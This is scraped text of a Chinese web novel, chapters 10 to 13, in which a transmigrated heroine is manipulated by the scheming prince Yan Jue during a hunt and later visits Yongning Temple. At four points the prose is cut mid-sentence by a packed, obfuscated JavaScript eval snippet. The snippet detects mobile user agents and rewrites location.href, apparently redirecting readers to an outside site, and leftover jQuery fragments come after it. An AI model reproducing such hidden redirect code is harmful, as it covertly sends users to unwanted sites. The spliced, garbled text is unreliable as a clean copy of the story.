“不不不不用了!我还是跟殿下一起吧!” 傅苒怕他要来真的,心一横,想想晏绝哪里就那么可怕。 他前期又没黑化,而且还当着女主的面答应了,难道能众目睽睽之下把她怎么样不成。 比起被原著剧情杀,确实还不如两害相权取其轻呢。 眼看男主总算点了头,一行人绝尘而去。 傅苒迟疑了半天,小心翼翼地蹭到静静望着女主的背影,不知道在想什么的晏绝身后,清了清嗓子。 “殿下,其实我刚才只是随便说的,你要是不愿意,要不我们……还是各走各的吧。” 不用脑子想都能知道,晏绝肯定是更情愿缠着女主的,要不是苏琼月的请求,他才不会带上她这个电灯泡。 现在女主都走远了,这人不直接翻脸无情就不错了。 晏绝却出乎意料回过头,略有些散漫地瞥了她一眼,然后竟然春风拂面般笑了。 他绯红的唇角微微弯起,仿佛浸着烟霞的潋滟水泽,笑容透出明朗的意味。 “这怎么行,我可是答应了阿姊,一定要好好照顾傅姑娘。” 10. 第 10 章 他今天怎么回事? 傅苒左看右看也没看出他吃错了什么药,难不成是因为苏琼月的那么一句话,心情就由阴转晴阳光灿烂了? 那小病娇现在也太好哄了吧,完全想不到后面怎么会黑化的。 她一边感叹女主这所向披靡的魅力,一边不太娴熟地爬上马,晏绝这会连提醒的语气也比刚才对谢青行好了十倍不止:“准备好就出发吧,否则再拖下去,天色恐怕要晚了。” 还真是被哄好了啊,她尝试往前走了两步,然后发现,谢青行说的没错,她确实不认路。 傅苒只好假装无事发生:“殿下,我们要去哪儿?” “跟着我走就好。” 晏绝并没有不耐烦的意思,勾住缰绳,把她的坐骑牵引了过来。 他松开手,含着轻微笑意,就这样自然而然地驭马走在了前方引路。 向着灼目的阳光,那双黑眸不经意低垂下去,沉沉遮住了其中的阴影。 老实说,虽然晏绝看起来心情不错,但傅苒对于跟他打交道还是有种赶鸭子上架的被迫营业感。 上山的全程,她都尽量保持着前后的安全距离,比缀在后头远远跟着他们的随扈还安分。 虽然都是天潢贵胄,但晏绝这个人跟平原公主完全不是一个风格。他好像不怎么喜欢让人凑得太近,所以并没有公主那种呼奴使婢、前簇后拥的排场,即使有几个侍从远远在后面跟随,也不过为了偶尔上前来处理他收获的猎物而已。 但山林不是平地,里面的小径本来就七弯八绕,又没人给他们带路。 傅苒越转越感觉风吹得凉飕飕的,忍不住道:“我们都进来这么远了,还要继续向前吗?” 晏绝不紧不慢地瞥了她一眼:“傅姑娘走这么点路程就累了,难道谢郎君没有告诉过你,整个西山有多大?” 虽然她的体力不怎么样,可倒也没有差到这个地步。 而且说她就说她,老带上谢青行干什么。 傅苒也没胆量问他到底是不是看不惯男主,虽然猜测的答案是肯定的。她识相地转移了话题:“殿下,你总是喜欢这么独来独往的吗?” 就她刚才所见,不止平原公主,这里出现的那些贵族子弟一样带着许多人鞍前马后,可晏绝貌似完全没有。当然,她单纯是把自己当成了npc。 少年露出似笑非笑的神色:“要是我没记错的话,不是因为傅姑娘,我现在应当和阿姊他们在一处。” 他不无恶劣地转头瞥了她一眼,凉凉加重语气,“用不着独来独往。” 跟他隔了至少一匹马距离的傅苒:“……” 现在的局面,说起来倒真是拜她所赐没错,傅苒自觉理亏,只好加快点速度上前,保持在了与他并肩同行的位置。 不过其实,从这几次短暂的交会里,她忽然发现了一点特别之处。 那就是除了对苏琼月以外,晏绝好像并不喜欢提起自己的事。 他从来都没正面回复过关于自己的问题,就像某种固守着领地的刺猬,在外来者面前始终保持着警戒的防备心,边界泾渭分明,绝不暴露软肋。 这么说起来,还好系统虽然狗,但至少没给什么攻略反派之类的地狱级任务。 不然的话——她看了看前方的背影,很有自知之明地心想,那她这辈子都是不可能攻略成功的。 他不肯谈论自己也就算了,傅苒抱着来都来了的心态,锲而不舍地换了个试探的方向:“殿下和苏娘子感情可真好啊,我想,苏娘子也一定很信任殿下,否则也就不会求殿下帮这个忙了。” 至少从目前她看到的来说,晏绝前期虽然占有欲强了点,但对女主的要求还是很听话的嘛,所以究竟为什么会黑化成后面那样的? 这句话仿佛打动了晏绝,他蝶翼般的睫羽不经意颤动了一下,目光终于慢慢落在她身上:“你觉得……阿姊很信任我?” “那当然了,苏娘子待殿下多亲近呀,就算是亲姐弟也不过如此了。” 傅苒眼都不眨地一口承认下来,暗暗地打量着他的反应。 不止现在,直到他彻底暴露的时候,女主的反应都是震惊和不可置信,从来没有怀疑过这个名义上的弟弟对她的感情。 “……”他沉默下来,脸上显出几分出神,仿佛有复杂的情绪交错闪过,最终竟浮现出难得一见的温情。 因为这一点感情,他的眉眼都不可思议地柔和下来,像是被什么东西触动了内心。 还真是个突破口? 傅苒受到了鼓舞,正准备再接再厉的时候,他却忽然压低了声音,从中打断了这个话题。 “你听。” 不知道是不是终于找到了合适的地方,晏绝勒住缰绳,望向前方茂密的树林,刻意避过了她的目光:“那边好像有动静,可能是野兽撞进了设下的陷阱里,我们先进去看看。” …… 傅苒深一脚浅一脚地迈着步子,小心地从满地的枯枝和落叶踩过。 这片林子里的草木明显比进山的地方要茂密,估计是因为他们转得太远的原因。陈年的枝叶在泥土上快铺成了厚毯,夹杂着连地面的形貌都被遮掩住了许多。 乍见之下,不免令人新奇,还有种参与狩猎的真实感。 就是走这种路像在开盲盒,没出多远, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419399|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她差点一脚陷进浅坑里,好在晏绝及时把她拽了回来。 不知道是不是聊得还行的缘故,他这回态度极好,居然还多叮嘱了一句:“小心点。” 而且他看起来确实要从容很多,用马鞭随手就扫开了前面碍事的枯藤和落叶,看得傅苒也从地上抄起一根棍子,学着样子往前开路。 好在已经到了目的地,她略微放松了下来:“殿下,不是说这里应该有陷阱?还没走到吗?” “早就到了。” 晏绝指间的鞭梢轻巧地划了个圈,指向她的身后,傅苒望过去,果然见到树根下的枯叶中露出半截圈套。 这就是陷阱了啊。 她正想问晏绝怎么不去看,少年便慢悠悠道:“我得到的猎物已经够多了,如果陷阱有收获,这只就归你了,否则待会见了阿姊和谢侍中,我不好和他们交代。” 他怎么忽然变得这么体贴? 小病娇也真是阴晴难测,今天好说话得简直有点莫名其妙了。 不过傅苒确实还什么都没有猎到,想想觉得他说的也对,有些好奇地凑近,拨弄了一下那截打成圈的麻绳。 绳子的末端系在略微弯折了的树枝上,另一头的圈套打结处拴着根小木棍,还有……一只灰扑扑的野兔? 她蹲下去,迟疑地打量着野兔:“这是被抓到的猎物吗?我怎么觉得,它好像已经死了。” 这只野兔后脚被绳套吊在了半空,不知道被吊了多久,连眼睛都闭上了,一动也不动,毫无生气的样子。 “是吗?”晏绝没有要确认的意思,停在她身后,声音轻描淡写,“这是属于傅姑娘的猎物,就由你来处置吧。” 傅苒闻言轻轻戳了戳野兔的身体,它还是半点动静也没有,她只好先试着把绳套解开。麻绳粗糙,不是太好弄,拉扯了半天,她才终于把兔子的后腿松脱出来。 就在这电光火石间。 灰色影子忽然猛地一下从她手掌间窜了出去,甚至来不及反应。 但紧随其后的就是破风声,以及“噗”一声箭矢插入什么东西的轻微闷响。 傅苒眼看着它夺路而逃,却被冷箭射中,扑通一下栽倒在地,挣扎几回就没了动静。 才眨眼之间,野兔已经窜到了林子边缘,再往前是一大片茂密的蒲苇草,挡住了视线。还好晏绝这一箭补得相当及时,不然等它钻进去,恐怕就再也找不着了。 不对……及时? 傅苒福至心灵般地回过头,恰好和无声观察着她的少年对上了视线。 晏绝半点也没有被发现的尴尬,坦然露出一个微笑:“傅姑娘不去看看你到手的收获?” 11. 第 11 章 “……” 她有点回过味来,忽然意识到,晏绝又在戏弄她了。 从她解开绳套,到兔子跑出去,这么短的时间,要不是他早有预料,肯定是没法精准射出那一箭的。 他难不成是想整什么幺蛾子? 傅苒忍不住狐疑:“你刚刚是故意的?” 少年对上她的视线,面容看不出异样:“故意什么?” 说实在的,晏绝这人的思路实在是太过于千回百转了,要不是他跟剧情关系太深,傅苒也并不想老是去揣测他的想法,那多累啊。 可是女主命中注定有此一劫,她就不得不多考虑一下了。 她问:“殿下,你是觉得,戏弄别人很有意思吗?” 既然看出来那只野兔是在装死,直接告诉她就好了,为什么要弄得这么复杂。 又或者说……他就是单纯喜欢看到别人希望落空的样子而已? 晏绝静了一瞬,眼中仿佛有某种情绪渐渐沉了下来:“傅姑娘,我说过了,总想太多不是好事。” 傅苒对上他居高临下的视线,那双眸子犹若湖泽,寂静而美丽,可其中殊无暖色,唯有深不可测的寒凉。 一旦凝神去看,便会察觉到,笑容不过是画在他唇边微薄的面具,如同画皮上粉饰着绝艳的鬼魅。 在这林间深处,阳光已经被高阔的树冠遮挡了大半,马和随从也都留在外边,气氛就显得更安静且异常。 要不是知道原著剧情,傅苒肯定就准备知难而退了。 但她刚初步理解了书中世界的逻辑,心想作为活到原著最后一卷的女配,自己肯定不会在这里下线吧。 她话锋一转,大着胆子用起了激将法:“是吗?可惜谢公子不在这里,要是他在,肯定就不会像殿下这样什么都避而不谈。公子对谁都那么耐心,也难怪,苏娘子总是更愿意听他说的话。” 两次试探之后,她已经充分确认男主是他的死穴,被拿来对比肯定会更加火上浇油,就不信他能一点反应都没有。 果不其然,提及苏琼月,晏绝终于变了神色,面对她的表情转而有些微妙。 明明从开始就像那只竖着耳朵的兔子一样警惕,恨不得随时离他十丈远,但只要说起谢公子,就仿佛忽然改变了态度,句句话都在维护。 她到底是有多喜欢谢青行? ……算了。 除了令人不愉快以外,对于他来说,这本该是件值得利用的事。 “你觉得我在戏弄你?不,我只是不喜欢捕猎兔子。” 少年意味深长地直视着她,顿了顿,选择用另一种方式回答了这个问题。 他殷红的唇角微微弯了起来,缓慢地将漆黑的马鞭重新绕回手腕上,仿佛蓄势待发的毒蛇,眸子却闪烁着一丝难以言喻的光彩,“我只喜欢烈性难驯的野兽,尤其是,那些宁愿粉身碎骨也不肯驯服的。” 语气是轻柔的,如同在谈论着某种值得期待的愿景,也像一种对她毫不掩饰的警告。 “最有趣的,莫过于看到它们粉碎的样子了。” 什么逆天的病娇发言! 你你你,你变态啊! 傅苒盯着他手上的鞭子,头皮发麻地退后两步,如果她此时有绒毛,恐怕真的炸得比那只动物还厉害。 她下意识反思起自己冒险的行为,马上发现了问题所在。 以傅苒资深读者的经验,很多古早穿越文的女主之所以出众,正是因为特立独行,不和肤浅的炮灰气氛组一样对待男主和男配,才能达到“呵,好特别的女人,你成功引起了我的注意”的效果。 但话又说回来,这完全不是她该走的路线啊! 更何况晏绝在原著里就相当有病,不管是登基之前还是后来满朝九族消消乐的时候,他最感兴趣的就是折腾那些对他恨之欲死的硬骨头。 所以傅苒觉得,他大概率是喜欢横的,既然如此,那还不如干脆就安分到底算了。 忍一时风平浪静,反正是为了完成任务,做完就可以收拾收拾准备死遁了,非要惹他干嘛。 她及时调整路线,果断闭了嘴,自觉地去捡刚刚被箭射中的猎物。 可接近林子边缘,刚俯下身,前面的蒲苇草不知道是不是被风吹过,忽然传来一阵摇晃的沙沙响动。 傅苒只觉得眼前有什么闪过,下意识往后躲避,然而那东西来势太快,已经闪躲不及。 匆忙之中,她只感觉手臂一凉,随后便踉跄倒在了落叶间。 这是……什么情况? 她懵了半天,转头望过去,就在离她相隔不远处,另一支铁箭竟然插入了地面中,尾羽甚至还在兀自震颤着。 只差一点点,这箭就要伤到她了。 傅苒惊魂未定,忽然有个背着箭筒的人闯了进来,目光在她和地上的箭中间逡巡了好几圈,好像十分诧异,随即向后喊道:“这里有人,不知道有没有被误伤!” 苇丛被随后赶来的几个仆从拨开,一队完全意想不到的人马赫然出现在她面前。 “……怎么会是傅姑娘?” 苏琼月在最前方,见到她稍显狼狈的样子,也随之一愣,视线落到她被划开的衣袖和后面的箭矢上,脸上顿时浮现出惊慌。 “我是不是不小心伤到你了?我方才以为,以为草后边是只野兽蹿过去的……” “阿苒!”紧随其后的谢青行立刻下了马,几步匆匆迈到她面前,凝眉检查她的情况,“你不是与清河王同行,为何会出现在这里?” 尽管行动仍不失章法,但他其实也有些讶然。 西山方圆几里都是猎场,为了防止不同队伍误伤的情况,山林里的路线特意规划过,沿途树木上都栓了标记,而且一般安排有专人带路,按理说不应该出现混淆。 傅苒本来是所有人里最懵的,但被这句话一提醒,瞬间想到了疑点:“我只是,跟着清河王殿下——” 她说出口的刹那就已经想明白了原委,立马回头望了一眼。 晏绝此时才不紧不慢地走了过来,却置身于纷争的中心之外,目光一如往常地只看着神色慌乱的苏琼月。他的嘴角轻微翘起,眼神中没有任何意外。 果然,什么心情好都是演的,他肯定是早有预谋把她领过来的! 晏明光刚听到仆从回报,策马上前,随便地扫了眼傅苒,见她只是跌倒在地,并没有中箭,便有些看不惯这幅紧张兮兮的做派。 “琼月好端端地在追捕猎物,谁知道她会忽然出来拦路。”她冷笑一声,“我看有些人,是不是故意的还两说呢,何必急着可怜她。” 苏琼月顾及着她的面子,又怕惹得谢青行更不虞,只好急急拉了一下她的袖子,手忙脚乱地低声制止:“明光,她都受伤了,你别这么说。” “我说错什么了,难不成你也向着一个不知道哪来的外人?” 晏明光恨铁不成钢地瞪她一眼,想到刚才要帮好友出头却被劝阻,更是满脸不悦,“这里的地盘本就是划好的,要不是她故意绕到我们的路线上,怎么会无缘无故遇到?你真信她?” 其实,这话也不是没有几分道理。 苏琼月也不禁迟疑了一瞬,再踌躇地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419400|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了眼谢青行,却见他关怀地追问:“阿苒,你的伤怎么样?” “没事,我没伤到!” 傅苒弄明白了情况,飞快拍掉身上沾的草叶,在他担心的目光中一身正气地挥了挥手臂,表示自己现在分毫未损。 她脑子里刚才念头纷呈,但很快意识到,关键是不能加剧男女主的矛盾。 原著里女配也有受伤这一遭,只不过由晏明光造成的,但由于两人是众所周知的好闺蜜,苏琼月不可避免地受到了牵连。 就算她知道晏绝是有意的,但凭他表面上对阿姊言听计从的样子,再加上平原公主咄咄逼人的骄横态度,到时候肯定照样会辩解不清,说不是苏琼月授意的都很难让谢青行相信。 这会可不是吵架的时候,傅苒怕谢青行不相信,连忙强调:“谢公子,我没事,真的没事!” 但谢青行却仍皱着眉头,视线缓缓落在她的手臂上。 “那这是……” 不是吧,刚说完就要打脸吗? 察觉到真的有凉风灌进衣袖,傅苒无语地低头,刚刚流矢直接在她袖间割了个口子,破损的衣料下隐约露出浅红,看着确实像渗出了血迹。 不过看清楚后,她反而心下一松,对谢青行解释:“不是流血,这只是生来就有的胎记而已。” 她也是偶然间才发现的,女配手臂的皮肤上不知道为什么有块红色的印记,形状略尖锐,非要形容的话,有点像被拉得细长的蝴蝶侧影。 所以乍一看起来,的确类似擦破的伤口。 好在是个误会,虚惊一场。 可谢青行默然了片刻,看着她的神情似乎略有些复杂,随即轻轻地叹了口气。 “都是我没有照顾好你,才会让你遇到这样的危险。是我的过错。阿苒,我很抱歉,但你不需要如此委屈自己。” “不是,真没有。”你是不是误会了什么…… 然而谢青行态度柔和,却全然不容置疑地接着说:“今天就这样吧,我先送你回去。” 他稍显冷淡地对脸色不太好看的晏明光告辞:“多谢公主的好意邀请,但恕我失陪了。” 晏明光自然受不得这样的态度,脸色也沉了下来:“你的好妹妹都受伤了,哪里还管得上别人,走就走吧,还跟我说什么。” 在她看来是对面乱闯路线在先,自己这边并无错处,所以话自然说得尖锐,也顾不得苏琼月的阻拦。 始终隔岸观火的晏绝更是恰到好处地补上了另一刀:“实在可惜,我刚才听傅姑娘说,谢府之所以接了平原的帖子,也是因为她想来春猎,谢侍中才特意为此安排出时间的,结果她却不巧受了伤。” 他笑着看向苏琼月:“不过,谢侍中对义妹真是体贴入微,阿姊,你也觉得吧?” 傅苒眼看着女主的脸色经此两连击,转瞬间从惊慌变成了失魂落魄,辩解的话到了嘴边,又不得不郁闷地咽了回去。 场面已经被搅得一团乱,她现在帮男主解释就更没用了,多半会更加显得像个“我只会心疼哥哥”的绿茶。 借着谢青行挡在面前的时机,她愤愤地瞪了晏绝一眼。 就知道他肯定没安什么好心! 少年坦然回了她一个意味深长的微笑,然后若无其事地靠近了苏琼月身边,一副温顺乖巧好弟弟的虚伪模样。 反正这下打猎肯定是打不下去了,傅苒只好扶着谢青行的手臂站起来。结果一阵意想不到的强烈疼痛,让她霎时脸色发白,差点栽了回去。 完了。 光顾着看有没有外伤,竟然没发现脚踝扭了。 12. 第 12 章 谢青行也觉察她的异样,瞬间就意识到了问题所在,不由分说道:“别乱动,会让伤势加重的,我抱你起来。” 什么?这种时候公主抱?在女主面前? 傅苒一个激灵,急中生智地用没伤到的那只脚往前蹦了两步,看救命稻草一样指了指旁边无聊得低头啃草的马:“不用不用,那太麻烦你了!我骑在马上回去就好,不碍事的。” 但她单脚站得还是有点不稳当,身形难免晃了一下,好在苏琼月立马上前扶住了她的手臂,脸上又是沮丧又是歉意:“抱歉,我真的不是故意伤到你的。” “没关系,不是……”不是你的错,明明都怪小病娇。 但是傅苒忽然灵光一现,本来要说的话硬生生改了口,摆出一副柔弱不能自理的模样,借着势头就往她身上倒过去。 “既然这样,我现在也走不了路,只好拜托苏娘子扶我回去了。” 这场打猎,就这么意外又不意外地以一个戏剧化的方式结束了。 傅苒坐在营帐里,等着随行的医师给她检查和处理完脚踝的伤情,然后小心翼翼地看了看左右。 左边是满脸关心的男主,右边是歉疚且委屈的女主,不远处还杵着一个神清气闲的晏绝。 至于晏明光,大概是看不下去自家闺蜜这个不争气的样子,早就怒火滔天地摔帘而去。 “谢公子,所以你们……猎到了赤狐吗?”她受不了这种无声的尴尬气氛,随便抓个由头率先打破了沉默。 苏琼月没想到她还记着这件事,愣了一下才回答:“猎到了,还要多亏谢郎君,只是他……” 她下意识把目光转向谢青行的左手。 那上面还留着伤口,是因为方才她去捡拾猎物时,没及时注意到草丛里的蛇,谢青行为了护住她,才会被蛇咬了一口,还好检查过了无毒。 她想起刚才的经过,心中顿时又生出满满的愧疚:“景逸,快让医师先看看你的手吧。” 谢青行似乎还想说什么,可苏琼月这会格外执着,非要把他拉走不可,两人出了帐外,还能隐约听见她关心的声音。 傅苒正想看看他们聊得怎么样,却忽然被一个人挡住了。 她马上别过脸,不想看见他。 但是她越要躲闪,晏绝反而越有兴致似的,毫无愧疚之心地坦然杵在她面前,还把傅苒偷偷往外瞄的视野挡得严严实实。 可惜她现在是个扭了脚的伤患,没法跟晏绝玩这种老鹰捉小鸡的幼稚游戏,只好怀着气恼对他怒目而视。 “殿下这回满意了?” 少年仿佛真感到疑惑一般偏了偏头,却分明扬起轻微的笑意:“满意什么?” 你就接着装吧,傅苒内心腹诽,又气不过他这种行为:“殿下就没有想过,这样做对你根本没什么好处,只会让你在乎的人伤心?” 要是现在还想不明白,晏绝前面的种种铺垫,都是为了引发谢青行和苏琼月之间的误会和争执,那她就枉为本书读者了。 很明显,这人从一开始就是在目的明确地把她引向那边。如果晏明光说的没错,他们肯定是进入了另外的狩猎路线,才会被苏琼月误打误撞差点伤到,她是第一次来西山所以不知情,可晏绝根本不是。说不定他前面装作没方向绕来绕去,都是故意的! 可问题是,争执固然会伤了女主的心,加深男女主之间的裂痕,但于他又有什么好处? 不说原著里苏琼月从来都没有对晏绝有过任何亲情以外的感情,就算让女主再重生一遍,估计她也是绝不可能喜欢小病娇的。 这篇虐文从女主的幼年开始写,中间虽然波折,但无论如何有一点是很明确的,那就是苏琼月始终是个敏感而缺爱的人。 家庭的缺失和童年的混乱动荡让她的内心时刻充满了不安,也正是因为如此,她一生中不断向他人寻求安稳,却由于虐文女主的宿命,总是得不到好的结果。 至于晏绝……跟安全感这个词显然没有半毛钱关系。 他不发疯折腾人就不错了。 傅苒正思考着该怎么把小病娇这种对女主过于偏执的思路扳回来,让他理解强扭的瓜不甜的这个人间真理,手上忽然碰到一种温热的,毛绒绒的触感。 嗯?毛绒绒? 她懵懵地低下头,冷不防看见一双蔫了吧唧的长耳朵,和黑葡萄似的滚圆的眼珠。 完全没想到,居然是刚才那只被射中了腿的野兔。 刚才那么混乱的情况下,小病娇居然还能记着把它拎回来? 灰兔腿上的伤口不知什么时候已经被简单包过,缠着纱布,被放下时也只软塌塌动弹了一下前爪,就没什么精神地继续扒拉在她腿上,黑眼珠和她对望着,看起来要多可怜有多可怜。 “我已经让人给它包扎好了,腿上的伤不严重,只要带回去好好照料,应该用不了多久它就又能如常活动了。” 晏绝不知什么时候到了她面前,笑吟吟地把动弹不得的兔子放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419401|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到她怀里,神态轻松,语气却仿佛是另有所指。 “……”傅苒气鼓鼓地瞪着他,脚踝还在隐隐作痛,语气中难得被逼出了几分咬牙切齿,“殿下这是什么意思?” 他满脸无辜地对上她的目光,长睫温顺地垂下来,明润的黑眸里透着假惺惺的诚意和歉意:“没什么意思,不过要是傅姑娘想的话,可以当做是个道歉的礼物。” 打一巴掌再给个甜枣是吧? 傅苒虽然不吃他这一套,但还是把同病相怜惨遭毒手的兔子抱得离谋害人远了些,说话也不再客气了。 “殿下行事难道会在乎别人的意见,既然做都做了,为什么事后还要跟我赔礼道歉?有什么意义吗?” 难道他还想要听她说声没关系不成。 晏绝逆着光,笼罩在帐幕投下的阴影中,神情显得有些晦暗不明。 为什么? 大多事情,他不过想做就做了,哪里谈得上为什么。 何况她方才不是说着许多道理,试图了解他的心思吗?那便随意找个什么东西,去让她展示那些自以为是的好心和善意吧。 他敛起思绪,随口道:“傅姑娘若是不想当做礼物也无所谓,我只是忽然觉得,你应该很适合养着它。” 傅苒:“……” 这又是哪里看出来的? 而且说实在的,她也不是什么圣母性格,既然都出来打猎了,对于杀生肯定要做好心理准备。但话虽这么说,却不意味着要折磨这些猎物。 她想起刚才的种种经过,仿佛领悟到了某些事情,忍不住道:“殿下,要是你一开始就没准备杀掉这只兔子,干嘛非得弄伤它?早点告诉我,然后直接在陷阱里活捉就好了呀。” 面前少年的笑意却蓦然转深,像是听到了什么有趣的笑话,看着她小心将包好伤的兔子抱在怀里的模样,眸中掠过一丝浅淡的嘲弄。 “你觉得,如果不是被折断了腿,再也不能逃跑,它怎么会愿意被你关起来养?” ……这都是些什么奇奇怪怪的逻辑? 傅苒无语地发现,虽然她原先对晏绝的印象就已经很不怎样,但现在看来,居然还是太低估他了。 一开始,她以为他是那种经典的、求而不得就要毁掉型的古早反派。因为发现苏琼月对谢青行一片痴心,他根本没有机会,所以才逐渐走向黑化路线。 但原来他是不在乎得不得到,反正直接就要毁掉! 他!有!病!吧! 13. 第 13 章 时至夏中,芳菲落尽。 高悬的晴日照在恢弘的洛阳城上方,映着车水马龙,人来人往。 当世崇好佛法,因此这座城中伽蓝甚众,少说有一千余数。大大小小的佛寺如棋子般散布在伊洛之间,城郭内外,多得难以例举。 但在千余寺庙中,最豪华、最为雄壮的一座,毫无疑问是位于内城西南方位的永宁寺。 因着太后寿辰将近,永宁寺中比寻常时候更显得繁忙,新筑的九层浮屠挂起了高高的金铎,檐角铎铃的碎响,合着颂念经文的声音,于香火气息中荡开飘渺的禅意。 仿佛与寺内的情形相照,门前的十二经幢也已早早立起,往来听高僧开坛讲经的信众更是络绎不绝。 傅苒掀开马车的垂帘,有些惊叹于这幕繁华的景象。 不过她倒并不是因为拜佛或者凑热闹才来的,而是为了想办法到佛寺里借机“偶遇”女主。 因为根据原著,在太后生辰日的前一段时日,女主苏琼月就已经到永宁寺小住,每天亲手抄经供奉,诚心为姑母祈福。 虽然这种跟着女主轨迹出现的策略,听起来就像在养成游戏里刷某个随机人物的好感一样。但也没办法,要是不主动出击,她根本和苏琼月见不着几面。 “快进来吧,外头太晒了。” 刘夫人关怀地出声唤了她一句,傅苒这才回过神来,加快脚步走进了佛塔后方的殿宇里。 她上次虽然有点扭伤,不过这么久之后早就好全了,所以今天才能和刘夫人出门。 只不过想到导致受伤的罪魁祸首,她忍不住在心里悄悄把晏绝诅咒了一遍,并决定以后见到他都有多远离多远。 话说回来,刘夫人带她来这里的名义上和女主一样,都是为了给太后祈福。 眼前的这座殿离讲经的地方较远,加上九层浮屠尚未开放,所以稍显安静,唯有两位眉目谦和的法师在垂首诵念经文。 殿中,知客僧已将一盏莲花形态的瓷灯捧到了刘夫人面前,恭谨道:“请檀越奉灯。” 刘夫人仿佛习以为常,轻轻接过,便将五色交织的芯线浸入油中,执香引燃。这盏灯被悉心呈奉于佛像之前,然后她跪坐在了蒲团上,极为虔诚地行了三跪三叩之礼,口中念诵出庄严的祈福文。 拜礼结束,刘夫人阖目长跪,仿佛在心中默默发愿,最后才郑重一叩首:“……信女东郡公夫人刘氏昭儿,谨以明灯奉施三宝,愿太后圣寿等须弥,慈光遍河洛。” 傅苒虽然借了个名头,可实际上对该怎么做一窍不通,所以没有贸然干扰,只是跪坐在旁边有样学样地参拜。 但她也认认真真地闭眼合十,心想要是祈福真能有用也不错。 毕竟女主后来的种种际遇,确实很大程度上和原著里太后的崩逝脱不开关系。 如今皇太后在世,苏家固然是鲜花着锦、烈火烹油的时候,可是举凡外戚,尤其是像苏家这种得势的外戚,一旦失去了宫廷中的支柱,多半会难逃被清算的命运。 一荣俱荣,一损俱损,女主也不能幸免于这个规律。 然而人有生老病死,求诸神佛,说到底只是获得一点心理安慰罢了。 等奉灯结束,她自觉地起身过去把跪太久的刘夫人搀扶起来,刘夫人温和地拍了拍她的手:“好孩子,想必也累了吧,难为你愿意陪我来。” 虽然她目的不纯吧,但希望太后平安的心情倒是绝对真情实感的。 所以傅苒毫不心虚地采用了高情商版回复:“因为太后陛下推行新政,百姓得以休养生息,天下也有了太平景象,我虽然过去生活在边地,但亦有所感,为太后祈福是应当做的。” 这话当然不能说完全没有夸大的成分,但□□成还是真实的。 按书里写的,太后摄政的这些年政局始终比较稳定,没有延续先帝时期的穷兵黩武,减少了频繁消耗的战事,加上任用能臣,轻徭薄赋,说是成功的治理并不为过。 刘夫人仿佛没想到会听见这样的一番话,微怔之后,便流露出欣赏的目光。 “你能有这份心,这般见地,便已经是不容易了。” 或许是来到此处触动心事,刘夫人也就没有松手,继续由傅苒扶着迈下台阶,神色中浮现了几分悠远的感慨。 “我与太后少年相识,当初我任女侍中时,随她同来礼佛,那时这里的浮屠还只有七层。白驹过隙,如今连永宁寺都已然大不相同了。” 谈及旧事,她忍不住一声轻叹,仰头望向高高在上的九层佛塔。 身后,低沉的颂经声依然交织于大殿中,久久回荡。在彩绘的壁画间,佛像慈悲的面容之下,长明灯微弱的火焰无声摇曳。 …… 丝丝缕缕的薄烟从鎏金博山炉中袅袅升起,让静谧的禅室中染上几分清幽的檀香气息。 绢帛上仿佛也沾了香气,烛光映照着经文的字句。 “三界无安,犹如火宅,众苦充满,甚可怖畏,常有生老病死忧患,如是等火,炽然不息。” 苏琼月对《妙法莲华经》早已熟稔于心,但下笔誊抄,依然没有丝毫不耐烦。 太后一直潜心信佛,或者说,后宫中的女子,少有完全不信的。在那样的环境下,人总是会不知不觉地寻求某些精神寄托,而信佛不论如何又比招惹巫蛊要好得多。所以,苏琼月深受此影响,对于佛法也算是颇有了解。 但说来也奇怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419402|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,同样在太后宫中长大的晏绝却不是这样。 他对佛法始终兴致索然,也只有和她聊天时才少有地愿意表现出认真倾听的样子。 “我今晨听善慈尼师讲解经文,说的是法华经中的普门品。她提起自己所见过的信徒,家中独生子叛逆妄为,那信徒一气之下对他加以鞭笞,结果独生子离家出走时在道上为马车所撞伤,尽管家中拼命寻请名医,最后却还是离世了,多么可惜可叹。” 